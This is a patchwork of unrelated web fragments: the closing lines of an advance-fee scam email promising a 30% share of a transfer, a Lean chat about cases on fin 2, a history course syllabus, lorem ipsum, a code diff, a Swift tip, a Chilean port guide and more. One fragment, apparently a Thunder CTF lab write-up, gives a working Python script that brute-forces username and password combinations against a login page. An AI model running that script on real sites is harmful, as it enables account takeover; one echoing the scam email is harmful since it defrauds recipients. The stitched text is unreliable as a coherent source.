REQUIRED TO VISIT NIGERIA.I WILL ALSO NEED THE ABOVE INFORMATION ONCE I HAVE THE REQUIRED INFORMATION AS ABOVE, I WILL INITIATE THE PROCESSING OF THE TRANSFER, AND IN ABOUT TEN (10)WORKING DAYS, THE FUND WILL BE IN YOUR NOMINATED BANK ACCOUNT FOR US TO SHARE IN THE RATIO OF: 65%FOR ME 30% FOR YOU WHILE 5% HAS BEEN SET ASIDE FOR LOCAL AND INTERNATIONAL EXPENSES. THE TRANSACTION IS GUARANTEED TO SUCCEED WITHOUT ANY PROBLEMS.  I LOOK FORWARD TO YOUR URGENT REPLY. BEST WISHES, MR.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113489-new-members/topic/Cases.20on.20fin.202.html ---
Is there an easy way to do cases on a fin 2
? Specifically I'd like to show that if we have
swap : fin 2 → fin 2 := λ x, if x = 0 then 1 else 0
then swap(swap(x)) = x
.
I can repeatedly do cases on the fin
to eventually get the answer, but it seems very tedious.
You could see if the library know about an equivalence between fin 2
and bool
Your problem might also be a good job for the case_bash
tactic
Which is hiding somewhere in mathlib, if I'm not mistaken
Is this something fin_cases
can do?
Awesome, that works perfectly!
Aah, that's the one I meant
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


With an elegantly minimal interface and drag and drop file uploads, Freestep does what you need without clutter or advertisements.
Using the state of the art Rabbit stream cipher, FreeStep keeps your chats and images private from prying eyes.
FreeStep is entirely open source on GitHub, available for code review or customization under the MIT license.


Tuesdays, 6pm
Room UC-222
Devon Elliott
<EMAIL_ADDRESS>Office Hours: Tuesdays, 4:00 - 5:00pm, SSC 1004 or by appointment
Kassandra
MapTiler
https://www.maptiler.com/
Schedule:
http://bit.ly/1KHe4G0
Readings:
Technology:
The essay assignment is a 2500-word paper on a specific topic using tools that were introduced in class to augment traditional historical research practices. You will use the computational analysis of sources to support or question claims made about the topic in the scholarly literature.
Choose a historical topic you find interesting for which primary sources are available. Apply one or more of the tools in the class to those sources. Write a history of your topic that uses secondary literature to introduce and set the context for your paper, and then explain and describe your digital work with the sources. Does your work complement and reinforce arguments made in the secondary literature? Does it contradict or indicate alternative ideas about the topic? Sample topics and resources will be provided, but you're also welcome to find and choose your own in consultation with me.
Text analysis involves information retrieval, lexical analysis to study word frequency distributions, pattern recognition, tagging/annotation, information extraction, data mining techniques including link and association analysis, visualization, and predictive analytics.
See you on March 10.
Contact me at<EMAIL_ADDRESS>or stop by SSC 1004 on Tuesdays, 4:00-5:00. I'm also available before and after class on Tuesdays, or by appointment.


Lorem Ipsum
Multiply. Bring gathering beginning winged the moveth be. Also thing replenish. Deep, beginning, fourth waters, isn't day creepeth the moveth given had above, own said own beginning which seas. Above. Creepeth one shall whales appear. Let our divided.
Grass made female years morning waters forth signs firmament called. Subdue may air fly. Had image for rule itself. They're morning meat land. Beast it unto his dry. Earth. Gathering winged very be may so. Fill divide have god you'll without.
Set. Gathered you're heaven give. Green lights forth creeping green meat life. Morning thing light darkness own which gathered yielding days.


Before Change
// Add a distinct synapse info (determined by
// connector) to the list of synapse info
connector_found = False
for n in range(len(synapse_infos)):
if (synapse_infos[n].connector is connector):
connector_found = True
if not connector_found:
synapse_infos.append(synapse_info)
// Loop over synapse infos as collected above and assign index in order
After Change
synapse_infos[app_edge].append(synapse_info)
// Loop over synapse infos as collected above and assign index in order
for app_edge, infos in iteritems(synapse_infos):
for i, info in enumerate(infos):
info.index = i
self.__poptable_type.finish_master_pop_table(
spec, master_pop_table_region)
// Write the size and data of single synapses to the direct region


Reactive Swift: Access Control for Mutable Properties
Swift’s access control allows us to define separate access levels for the getter and setter of a property. This is nice if we want to provide read access to a property but should only be able to modify it internally:
private(set) var isLoading = false
When using ReactiveSwift (or similarly RxSwift) you usually work with MutableProperty
. In order to limit modification of the property’s value
we can create a private writable MutableProperty
and a public read-only Property
:
private let isLoadingMutable = MutableProperty(false)
lazy var isLoading: Property<Bool> = Property(self.isLoadingMutable)
The read-only Property
is now dependent on the MutableProperty
and will always reflect it’s value.


This Chile's most northern city and is just 12 miles from the Peruvian border. It is a major commercial seaport.
Position 18° 27'S, 70° 19'35"W (harbour entrance).
For full details on clearing into and out of Chile see Chile Formalities.
Contact the port captain on Channel 16 and follow berthing instructions. It's advisable to proceed directly to the Yacht Club and avoid the commercial port.
Check in here is reported to be friendly and the Armada most helpful. A sanitary inspection with the Maritime Health Department is required here, and costs charged seem to vary. Cruisers report being charged between USD 270 and USD 425 for boats clearing into Chile here. This appears to be the only port of entry going south that makes this charge.
Last updated April 2015.
Contact the Yacht Club on VHF Ch 16 for assistance; they will send the club launch as a guide to the anchorage. The manager, Sr. Abraham, is reported to very accommodating.
Visiting yachts are charged US$20 per day for anchoring with a stern line to one of the Club's mooring buoys. This includes use of the launch for getting ashore. The bottom is rocky and there is a big surge in the anchorage.
Water by jerry cans, no electricity, sporadic hot water shower, bathrooms, fuel at the shore station or by tanker arrangement with Abraham, shopping nearby.
Last updated April 2015.


Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create websec/b1spray
Creating this level will start a vulnerable website which we can use to attack.
A list of possible user names and a list of most commonly used passwords downloaded from Internet are provided in scripts/b1.
Use attack.py or write your own code to find valid credential of the website by sending requests of all combinations of username and password.
List the instances in the project.
gcloud compute instances list
You should be able to see two instances listed.
b1-container-vm: The application you will attack is running on this machine. (Take note of its EXTERNAL_IP and INTERNAL_IP)
b1-attack-instance: We are going to launch attack from this instance.
---Try browse website using EXTERNAL_IP in a browser
Use Chrome webtool(f12) or Firefox debuggerto inspect the login form.
We can find that the name attributes of text inputs in login page are 'username' and 'password'(we will use this information in our code later).
---Navigate to thunder-ctf/scripts/b1.
Take a look at attack.py and replace INTERNAL_IP/EXTERNAL_IP
import requests import itertools #possible usernames unames=[uname.rstrip('\n') for uname in open('unames.txt','r')] #most commanly used passwords found online passwords=[password.rstrip('\n').strip() for password in open('passwords.txt','r')] #url='http://YOUR_WEB_IP/login' url='http://<IP_ADDRESS>/login' #iterate over all combination of user names and passwords for u, p in itertools.product(unames,passwords): #prepare data for post request payload={'username':u,'password':p} #send username and password through post method to web app url post=requests.Session().post(url, data=payload) #check if respond text contains invalid credentails if 'Invalid credentials' not in post.text: #print valid username and password print(u+' '+p)---
If you want to attack from your local system which has pyhton installed. You can download scripts/b1 with the code below and use ENTERNAL_IP in your attack script
cloudshell download scripts/b1/*
or
If you want to use google cloud environment and avoid your account being suspended for suspicious activity, you need to launch attack with INTERNAL_IP from another instance.
b1-attack-instance and b1-container-vm are created in the same VPC network, so they are allowed to communicate with each other via internal ips
Copy scripts/b1 from cloud shell into your attack instance
gcloud compute scp --recurse scripts/b1/* b1-attack-instance:~/
SSH into your attack instance
gcloud compute ssh b1-attack-instance---
Run attack script
python3 attack.py
You should see a set of valid credential printed in your terminal.
---Try if you can login with printed credential in a web browser
---More writeup ...


{% extends 'content_page.html' %} {% load static %} {% load bootstrap4 %} {% block title %}Manager{% endblock %} {% block header %}
Query ESI for all of the jump gates and replace all of the gates in the database with the discovered ones.
Update the alliance and corporation for every character in the database. This will take some time.


espanso is open source and hosted on GitHub.
If you find a bug or have an idea for a new feature, please open an issue on GitHub.
Designed and created by Federico Terzi. Copyright © Federico Terzi 2019


This menu command will open the
Sort Mail From Dialog
. This is an easy way to create a rule based on who the current mail message is from.